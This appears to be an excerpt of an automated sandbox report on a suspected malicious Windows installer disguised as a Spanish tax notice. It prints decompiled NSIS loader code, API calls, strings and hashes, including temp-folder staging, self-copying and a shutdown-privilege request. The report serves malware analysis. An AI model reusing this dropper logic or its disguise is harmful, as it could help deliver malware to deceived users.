				 *(_t197 + 0x1c) = 0;
				SetErrorMode(0x8001); // executed
				_t51 = GetVersion() & 0xbfffffff;
				 *0x7a8a2c = _t51;
				if(_t51 != 6) {
					_t149 = E00406639(0);
					if(_t149 != 0) {
						 *_t149(0xc00);
					}
				}
				_t179 = "UXTHEME";
				goto L4;
				L8:
				__imp__#17(_t192);
				__imp__OleInitialize(_t151); // executed
				 *0x7a8af8 = _t56;
				SHGetFileInfoW(0x79fee0, _t151, _t197 + 0x34, 0x2b4, _t151); // executed
				E0040625F("Geoduck Setup", L"NSIS Error");
				_t60 = GetCommandLineW();
				_t193 = L"\"C:\\Users\\Arthur\\Desktop\\rAEAT-AvisodeNotificaci__n.exe\"";
				E0040625F(_t193, _t60);
				 *0x7a8a20 = GetModuleHandleW(_t151);
				_t63 = _t193;
				if(L"\"C:\\Users\\Arthur\\Desktop\\rAEAT-AvisodeNotificaci__n.exe\"" == 0x22) {
					_t63 =  &M007B3002;
					_t171 = 0x22;
				}
				_t155 = CharNextW(E00405B5D(_t63, _t171));
				 *(_t197 + 0x18) = _t155;
				_t66 =  *_t155;
				if(_t66 == _t151) {
					L33:
					_t172 = L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\";
					GetTempPathW(0x400, _t172);
					_t68 = E0040331F(_t155, 0);
					_t225 = _t68;
					if(_t68 != 0) {
						L36:
						DeleteFileW(L"1033"); // executed
						_t70 = E00402EC1(_t227,  *(_t197 + 0x1c)); // executed
						 *(_t197 + 0x10) = _t70;
						if(_t70 != _t151) {
							L48:
							E00403893();
							__imp__OleUninitialize();
							_t239 =  *(_t197 + 0x10) - _t151;
							if( *(_t197 + 0x10) == _t151) {
								__eflags =  *0x7a8ad4 - _t151;
								if( *0x7a8ad4 == _t151) {
									L72:
									_t72 =  *0x7a8aec;
									__eflags = _t72 - 0xffffffff;
									if(_t72 != 0xffffffff) {
										 *(_t197 + 0x10) = _t72;
									}
									ExitProcess( *(_t197 + 0x10));
								}
								_t75 = OpenProcessToken(GetCurrentProcess(), 0x28, _t197 + 0x14);
								__eflags = _t75;
								if(_t75 != 0) {
									LookupPrivilegeValueW(_t151, L"SeShutdownPrivilege", _t197 + 0x20);
									 *(_t197 + 0x34) = 1;
									 *(_t197 + 0x40) = 2;
									AdjustTokenPrivileges( *(_t197 + 0x28), _t151, _t197 + 0x24, _t151, _t151, _t151);
								}
								_t76 = E00406639(4);
								__eflags = _t76 - _t151;
								if(_t76 == _t151) {
									L70:
									_t77 = ExitWindowsEx(2, 0x80040002);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L72;
									}
									goto L71;
								} else {
									_t79 =  *_t76(_t151, _t151, _t151, 0x25, 0x80040002);
									__eflags = _t79;
									if(_t79 == 0) {
										L71:
										E0040140B(9);
										goto L72;
									}
									goto L70;
								}
							}
							E004058C1( *(_t197 + 0x10), 0x200010);
							ExitProcess(2);
						}
						if( *0x7a8a40 == _t151) {
							L47:
							 *0x7a8aec =  *0x7a8aec | 0xffffffff;
							 *(_t197 + 0x14) = E0040396D( *0x7a8aec);
							goto L48;
						}
						_t184 = E00405B5D(_t193, _t151);
						if(_t184 < _t193) {
							L44:
							_t236 = _t184 - _t193;
							 *(_t197 + 0x10) = L"Error launching installer";
							if(_t184 < _t193) {
								_t182 = E0040582C(_t239);
								lstrcatW(_t172, L"~nsu");
								if(_t182 != _t151) {
									lstrcatW(_t172, "A");
								}
								lstrcatW(_t172, L".tmp");
								_t195 = L"C:\\Users\\Arthur\\Desktop";
								if(lstrcmpiW(_t172, L"C:\\Users\\Arthur\\Desktop") != 0) {
									_push(_t172);
									if(_t182 == _t151) {
										E0040580F();
									} else {
										E00405792();
									}
									SetCurrentDirectoryW(_t172);
									_t243 = L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Musicalises34\\Coleman\\Biarcuated" - _t151; // 0x43
									if(_t243 == 0) {
										E0040625F(L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Musicalises34\\Coleman\\Biarcuated", _t195);
									}
									E0040625F(0x7a9000,  *(_t197 + 0x18));
									_t156 = "A" & 0x0000ffff;
									 *0x7a9800 = ( *0x40a25a & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
									_t196 = 0x1a;
									do {
										E00406281(_t151, _t172, 0x79f6e0, 0x79f6e0,  *((intOrPtr*)( *0x7a8a34 + 0x120)));
										DeleteFileW(0x79f6e0);
										if( *(_t197 + 0x10) != _t151 && CopyFileW(L"C:\\Users\\Arthur\\Desktop\\rAEAT-AvisodeNotificaci__n.exe", 0x79f6e0, 1) != 0) {
											E00406025(_t156, 0x79f6e0, _t151);
											E00406281(_t151, _t172, 0x79f6e0, 0x79f6e0,  *((intOrPtr*)( *0x7a8a34 + 0x124)));
											_t103 = E00405844(0x79f6e0);
											if(_t103 != _t151) {
												CloseHandle(_t103);
												 *(_t197 + 0x10) = _t151;
											}
										}
										 *0x7a9800 =  *0x7a9800 + 1;
										_t196 = _t196 - 1;
									} while (_t196 != 0);
									E00406025(_t156, _t172, _t151);
								}
								goto L48;
							}
							 *_t184 = _t151;
							_t185 =  &(_t184[2]);
							if(E00405C38(_t236,  &(_t184[2])) == 0) {
								goto L48;
							}
							E0040625F(L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Musicalises34\\Coleman\\Biarcuated", _t185);
							E0040625F(L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Musicalises34\\Coleman\\Biarcuated\\Handlingssted\\Skovsnegles\\Herb", _t185);
							 *(_t197 + 0x10) = _t151;
							goto L47;
						}
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_t159 = ( *0x40a27e & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
						_t120 = ( *0x40a282 & 0x0000ffff) << 0x00000010 |  *0x40a280 & 0x0000ffff | (_t164 << 0x00000020 |  *0x40a282 & 0x0000ffff) << 0x10;
						while( *_t184 != _t159 || _t184[1] != _t120) {
							_t184 = _t184;
							if(_t184 >= _t193) {
								continue;
							}
							break;
						}
						_t151 = 0;
						goto L44;
					}
					GetWindowsDirectoryW(_t172, 0x3fb);
					lstrcatW(_t172, L"\\Temp");
					_t123 = E0040331F(_t155, _t225);
					_t226 = _t123;
					if(_t123 != 0) {
						goto L36;
					}
					GetTempPathW(0x3fc, _t172);
					lstrcatW(_t172, L"Low");
					SetEnvironmentVariableW(L"TEMP", _t172);
					SetEnvironmentVariableW(L"TMP", _t172);
					_t128 = E0040331F(_t155, _t226);
					_t227 = _t128;
					if(_t128 == 0) {
						goto L48;
					}
					goto L36;
				} else {
					do {
						_t154 = 0x20;
						if(_t66 != _t154) {
							L13:
							if( *_t155 == 0x22) {
								_t155 = _t155 + 2;
								_t154 = 0x22;
							}
							if( *_t155 != 0x2f) {
								goto L27;
							} else {
								_t155 = _t155 + 2;
								if( *_t155 == 0x53) {
									_t148 =  *((intOrPtr*)(_t155 + 2));
									if(_t148 == 0x20 || _t148 == 0) {
										 *0x7a8ae0 = 1;
									}
								}
								asm("cdq");
								asm("cdq");
								_t169 = L"NCRC" & 0x0000ffff;
								asm("cdq");
								_t175 = ( *0x40a2c2 & 0x0000ffff) << 0x00000010 |  *0x40a2c0 & 0x0000ffff | _t169;
								if( *_t155 == (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t169) &&  *((intOrPtr*)(_t155 + 4)) == _t175) {
									_t147 =  *((intOrPtr*)(_t155 + 8));
									if(_t147 == 0x20 || _t147 == 0) {
										 *(_t197 + 0x1c) =  *(_t197 + 0x1c) | 0x00000004;
									}
								}
								asm("cdq");
								asm("cdq");
								_t164 = L" /D=" & 0x0000ffff;
								asm("cdq");
								_t178 = ( *0x40a2b6 & 0x0000ffff) << 0x00000010 |  *0x40a2b4 & 0x0000ffff | _t164;
								if( *(_t155 - 4) != (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t164) ||  *_t155 != _t178) {
									goto L27;
								} else {
									 *(_t155 - 4) =  *(_t155 - 4) & 0x00000000;
									__eflags = _t155;
									E0040625F(L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\Musicalises34\\Coleman\\Biarcuated", _t155);
									L32:
									_t151 = 0;
									goto L33;
								}
							}
						} else {
							goto L12;
						}
						do {
							L12:
							_t155 = _t155 + 2;
						} while ( *_t155 == _t154);
						goto L13;
						L27:
						_t155 = E00405B5D(_t155, _t154);
						if( *_t155 == 0x22) {
							_t155 = _t155 + 2;
						}
						_t66 =  *_t155;
					} while (_t66 != 0);
					goto L32;
				}
				L4:
				E004065C9(_t179); // executed
				_t179 =  &(_t179[lstrlenA(_t179) + 1]);
				if( *_t179 != 0) {
					goto L4;
				} else {
					E00406639(0xa);
					 *0x7a8a24 = E00406639(8);
					_t56 = E00406639(6);
					if(_t56 != _t151) {
						_t56 =  *_t56(0x1e);
						if(_t56 != 0) {
							 *0x7a8a2f =  *0x7a8a2f | 0x00000040;
						}
					}
					goto L8;
				}
			}

0x0040335b
0x0040335c
0x00403363
0x00403367
0x0040336f
0x00403373
0x0040337f
0x00403388
0x0040338d
0x00403390
0x00403397
0x0040339e
0x0040339e
0x00403397
0x004033a0
0x004033a0
0x004033e8
0x004033e9
0x004033f0
0x004033f6
0x0040340c
0x0040341c
0x00403421
0x00403427
0x0040342e
0x00403442
0x00403447
0x00403449
0x0040344d
0x00403452
0x00403452
0x00403461
0x00403463
0x00403467
0x0040346d
0x00403584
0x0040358a
0x00403595
0x00403597
0x0040359c
0x0040359e
0x004035f6
0x004035fb
0x00403605
0x0040360c
0x00403610
0x004036c1
0x004036c1
0x004036c6
0x004036cc
0x004036d1
0x004037f7
0x004037fd
0x0040387b
0x0040387b
0x00403880
0x00403883
0x00403885
0x00403885
0x0040388d
0x0040388d
0x0040380d
0x00403813
0x00403815
0x00403822
0x00403835
0x0040383d
0x00403845
0x00403845
0x0040384d
0x00403852
0x00403859
0x00403867
0x0040386a
0x00403870
0x00403872
0x00000000
0x00000000
0x00000000
0x0040385b
0x00403861
0x00403863
0x00403865
0x00403874
0x00403876
0x00000000
0x00403876
0x00000000
0x00403865
0x00403859
0x004036e0
0x004036e7
0x004036e7
0x0040361c
0x004036b1
0x004036b1
0x004036bd
0x00000000
0x004036bd
0x00403629
0x0040362d
0x0040367b
0x0040367b
0x0040367d
0x00403685
0x004036f8
0x004036fa
0x00403701
0x00403709
0x00403709
0x00403714
0x00403719
0x00403728
0x0040372c
0x0040372d
0x00403736
0x0040372f
0x0040372f
0x0040372f
0x0040373c
0x00403742
0x00403749
0x00403751
0x00403751
0x0040375f
0x0040376b
0x00403779
0x0040377e
0x00403784
0x00403790
0x00403796
0x004037a0
0x004037b6
0x004037c7
0x004037cd
0x004037d4
0x004037d7
0x004037dd
0x004037dd
0x004037d4
0x004037e1
0x004037e8
0x004037e8
0x004037ed
0x004037ed
0x00000000
0x00403728
0x00403687
0x0040368a
0x00403695
0x00000000
0x00000000
0x0040369d
0x004036a8
0x004036ad
0x00000000
0x004036ad
0x00403636
0x0040364e
0x0040365f
0x00403660
0x00403664
0x00403666
0x00403674
0x00403677
0x00000000
0x00000000
0x00000000
0x00403677
0x00403679
0x00000000
0x00403679
0x004035a6
0x004035b2
0x004035b7
0x004035bc
0x004035be
0x00000000
0x00000000
0x004035c6
0x004035ce
0x004035df
0x004035e7
0x004035e9
0x004035ee
0x004035f0
0x00000000
0x00000000
0x00000000
0x00403473
0x00403473
0x00403475
0x00403479
0x00403482
0x00403486
0x0040348b
0x0040348c
0x0040348c
0x00403491
0x00000000
0x00403497
0x00403498
0x0040349d
0x0040349f
0x004034a7
0x004034ae
0x004034ae
0x004034a7
0x004034bf
0x004034d2
0x004034d3
0x004034e8
0x004034ed
0x004034f1
0x004034fa
0x00403502
0x00403509
0x00403509
0x00403502
0x00403515
0x00403528
0x00403529
0x0040353e
0x00403544
0x00403548
0x00000000
0x0040356f
0x0040356f
0x00403574
0x0040357d
0x00403582
0x00403582
0x00000000
0x00403582
0x00403548
0x00000000
0x00000000
0x00000000
0x0040347b
0x0040347b
0x0040347c
0x0040347d
0x00000000
0x00403550
0x00403557
0x0040355d
0x00403560
0x00403560
0x00403561
0x00403564
0x00000000
0x0040356d
0x004033a5
0x004033a6
0x004033b2
0x004033b9
0x00000000
0x004033bb
0x004033bd
0x004033cb
0x004033d0
0x004033d7
0x004033db
0x004033df
0x004033e1
0x004033e1
0x004033df
0x00000000
0x004033d7

APIs

SetErrorMode.KERNELBASE ref: 00403373
GetVersion.KERNEL32 ref: 00403379
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004033AC
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 004033E9
OleInitialize.OLE32(00000000), ref: 004033F0
SHGetFileInfoW.SHELL32(0079FEE0,00000000,?,000002B4,00000000), ref: 0040340C
GetCommandLineW.KERNEL32(Geoduck Setup,NSIS Error,?,00000006,00000008,0000000A), ref: 00403421
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe",00000000,?,00000006,00000008,0000000A), ref: 00403434
CharNextW.USER32(00000000,"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe",00000020,?,00000006,00000008,0000000A), ref: 0040345B

Part of subcall function 00406639: GetModuleHandleA.KERNEL32(?,00000020,?,004033C2,0000000A), ref: 0040664B
Part of subcall function 00406639: GetProcAddress.KERNEL32(00000000,?), ref: 00406666

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403595
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004035A6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004035B2
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004035C6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004035CE
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 004035DF
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004035E7
DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 004035FB

Part of subcall function 0040625F: lstrcpynW.KERNEL32(?,?,00000400,00403421,Geoduck Setup,NSIS Error,?,00000006,00000008,0000000A), ref: 0040626C

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 004036C6
ExitProcess.KERNEL32 ref: 004036E7
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 004036FA
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C), ref: 00403709
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 00403714
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 00403720
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040373C
DeleteFileW.KERNEL32(0079F6E0,0079F6E0,?,007A9000,00000008,?,00000006,00000008,0000000A), ref: 00403796
CopyFileW.KERNEL32(C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe,0079F6E0,00000001,?,00000006,00000008,0000000A), ref: 004037AA
CloseHandle.KERNEL32(00000000,0079F6E0,0079F6E0,?,0079F6E0,00000000,?,00000006,00000008,0000000A), ref: 004037D7
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403806
OpenProcessToken.ADVAPI32(00000000), ref: 0040380D
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403822
AdjustTokenPrivileges.ADVAPI32 ref: 00403845
ExitWindowsEx.USER32(00000002,80040002), ref: 0040386A
ExitProcess.KERNEL32 ref: 0040388D

Strings

C:\Users\user\Desktop, xrefs: 00403719, 0040371E, 0040374B
UXTHEME, xrefs: 004033A0, 004033A5, 004033AB
1033, xrefs: 004035F6
NSIS Error, xrefs: 00403412
.tmp, xrefs: 0040370E
\Temp, xrefs: 004035AC
TEMP, xrefs: 004035DA
C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated, xrefs: 00403578, 00403698, 00403742, 0040374C
Geoduck Setup, xrefs: 00403417
"C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe", xrefs: 00403427, 0040342D, 00403623
TMP, xrefs: 004035E2
Error launching installer, xrefs: 0040367D
~nsu, xrefs: 004036F2
C:\Users\user\AppData\Local\Temp\, xrefs: 0040358A, 0040358F, 004035A5, 004035B1, 004035C0, 004035CD, 004035D9, 004035E1, 004036F7, 00403708, 00403713, 0040371F, 0040372C, 0040373B, 004037EC
C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe, xrefs: 004037A5
SeShutdownPrivilege, xrefs: 0040381C
Low, xrefs: 004035C8
C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb, xrefs: 004036A3

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated$C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb$C:\Users\user\Desktop$C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe$Error launching installer$Geoduck Setup$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2488574733-4249324506
Opcode ID: 50ce3784074dcbd526eb1f42df312bf4ec451fb13847cd92a6110888af3a5c2d
Instruction ID: f8b53dcf82f20274bbdd851e6e7f34b77cfd1224ece1df9e86175f3a8edd883a
Opcode Fuzzy Hash: 50ce3784074dcbd526eb1f42df312bf4ec451fb13847cd92a6110888af3a5c2d
Instruction Fuzzy Hash: CED11371500310AAD7207F759D85B3B3AACEB41746F00493FF981B62E2DB7D8A458B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405402 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00405402(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				int _t101;
				long _t104;
				void* _t108;
				intOrPtr _t119;
				void* _t127;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x7a7a04; // 0x103d0
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					__eflags = _a8 - 0x405;
					if(_a8 == 0x405) {
						_t127 = CreateThread(0, 0, E00405396, GetDlgItem(_a4, 0x3ec), 0,  &_v12); // executed
						CloseHandle(_t127); // executed
					}
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						__eflags = _a8 - 0x404;
						if(_a8 != 0x404) {
							L25:
							__eflags = _a8 - 0x7b;
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							__eflags = _a12 - _t94;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							__eflags = _t95 - _t156;
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E00406281(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							__eflags = _a16 - 0xffffffff;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							_t101 = TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156);
							__eflags = _t101 - _t171;
							if(_t101 == _t171) {
								_v60 = _t156;
								_v48 = 0x7a1f20;
								_v44 = 0x1000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t104 = SendMessageW(_v8, 0x1073, _a4,  &_v68);
									__eflags = _a4 - _t156;
									_t171 = _t171 + _t104 + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
									__eflags = _t156 - _a8;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						__eflags =  *0x7a79ec - _t156; // 0x0
						if(__eflags == 0) {
							ShowWindow( *0x7a8a28, 8);
							__eflags =  *0x7a8acc - _t156;
							if( *0x7a8acc == _t156) {
								_t119 =  *0x7a0ef8; // 0xb5c044
								_t57 = _t119 + 0x34; // 0xffffffd5
								E004052C3( *_t57, _t156);
							}
							E004041CD(_t171);
							goto L25;
						}
						 *0x7a06f0 = 2;
						E004041CD(0x78);
						goto L20;
					} else {
						__eflags = _a12 - 0x403;
						if(_a12 != 0x403) {
							L20:
							return E0040425B(_a8, _a12, _a16);
						}
						ShowWindow( *0x7a79f0, _t156);
						ShowWindow(_t169, 8);
						E00404229(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x7a8a34;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x7a79f0 = GetDlgItem(_a4, 0x403);
				 *0x7a79e8 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x7a7a04 = _t134;
				_v8 = _t134;
				E00404229( *0x7a79f0);
				 *0x7a79f4 = E00404B60(4);
				 *0x7a7a0c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60);
				SendMessageW(_v8, 0x1036, 0x4000, 0x4000); // executed
				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E004041F4(_a4);
				if(( *0x7a8a3c & 0x00000003) != 0) {
					ShowWindow( *0x7a79f0, _t156);
					if(( *0x7a8a3c & 0x00000002) != 0) {
						 *0x7a79f0 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E00404229( *0x7a79e8);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x7a8a3c & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x0040540a
0x00405410
0x0040541a
0x0040541d
0x004055ac
0x004055b3
0x004055d0
0x004055d7
0x004055d7
0x004055dd
0x004055ea
0x00405608
0x0040560a
0x0040560b
0x00405612
0x00405668
0x00405668
0x0040566c
0x00000000
0x00000000
0x0040566e
0x00405671
0x00405674
0x00000000
0x00000000
0x0040567e
0x00405684
0x00405686
0x00405689
0x0040578b
0x00000000
0x0040578b
0x00405698
0x004056a3
0x004056ac
0x004056b3
0x004056b7
0x004056ba
0x004056c3
0x004056c9
0x004056cc
0x004056cc
0x004056dc
0x004056e2
0x004056e4
0x004056ed
0x004056f0
0x004056f7
0x004056fe
0x00405706
0x00405706
0x00405714
0x0040571a
0x0040571d
0x0040571d
0x00405724
0x0040572a
0x00405736
0x0040573d
0x00405746
0x00405748
0x0040574b
0x0040575a
0x0040575d
0x00405763
0x00405764
0x0040576a
0x0040576b
0x0040576c
0x0040576c
0x00405774
0x0040577f
0x00405785
0x00405785
0x00000000
0x004056e4
0x00405614
0x0040561a
0x0040564a
0x0040564c
0x00405652
0x00405654
0x0040565a
0x0040565d
0x0040565d
0x00405663
0x00000000
0x00405663
0x0040561e
0x00405628
0x00000000
0x004055ec
0x004055ec
0x004055f2
0x0040562d
0x00000000
0x00405636
0x004055fb
0x00405600
0x00405603
0x00000000
0x00405603
0x004055ea
0x00405423
0x00405427
0x0040542f
0x00405433
0x00405436
0x00405439
0x0040543c
0x0040543f
0x00405440
0x00405441
0x0040545a
0x0040545d
0x00405467
0x00405476
0x0040547e
0x00405486
0x0040548b
0x0040548e
0x0040549a
0x004054a3
0x004054ac
0x004054ce
0x004054d4
0x004054e5
0x004054ea
0x004054f8
0x00405506
0x00405506
0x0040550b
0x00405519
0x00405519
0x0040551e
0x00405521
0x00405526
0x00405532
0x0040553b
0x00405548
0x00405557
0x0040554a
0x0040554f
0x0040554f
0x00405563
0x00405563
0x00405577
0x00405580
0x00405589
0x00405599
0x004055a5
0x004055a5
0x00000000

APIs

GetDlgItem.USER32(?,00000403), ref: 00405460
GetDlgItem.USER32(?,000003EE), ref: 0040546F
GetClientRect.USER32(?,?), ref: 004054AC
GetSystemMetrics.USER32(00000002), ref: 004054B3
SendMessageW.USER32(?,00001061,00000000,?), ref: 004054D4
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004054E5
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004054F8
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405506
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405519
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040553B
ShowWindow.USER32(?,00000008), ref: 0040554F
GetDlgItem.USER32(?,000003EC), ref: 00405570
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405580
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405599
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004055A5
GetDlgItem.USER32(?,000003F8), ref: 0040547E

Part of subcall function 00404229: SendMessageW.USER32(00000028,?,00000001,00404054), ref: 00404237

GetDlgItem.USER32(?,000003EC), ref: 004055C2
CreateThread.KERNEL32(00000000,00000000,Function_00005396,00000000), ref: 004055D0
CloseHandle.KERNELBASE(00000000), ref: 004055D7
ShowWindow.USER32(00000000), ref: 004055FB
ShowWindow.USER32(000103D0,00000008), ref: 00405600
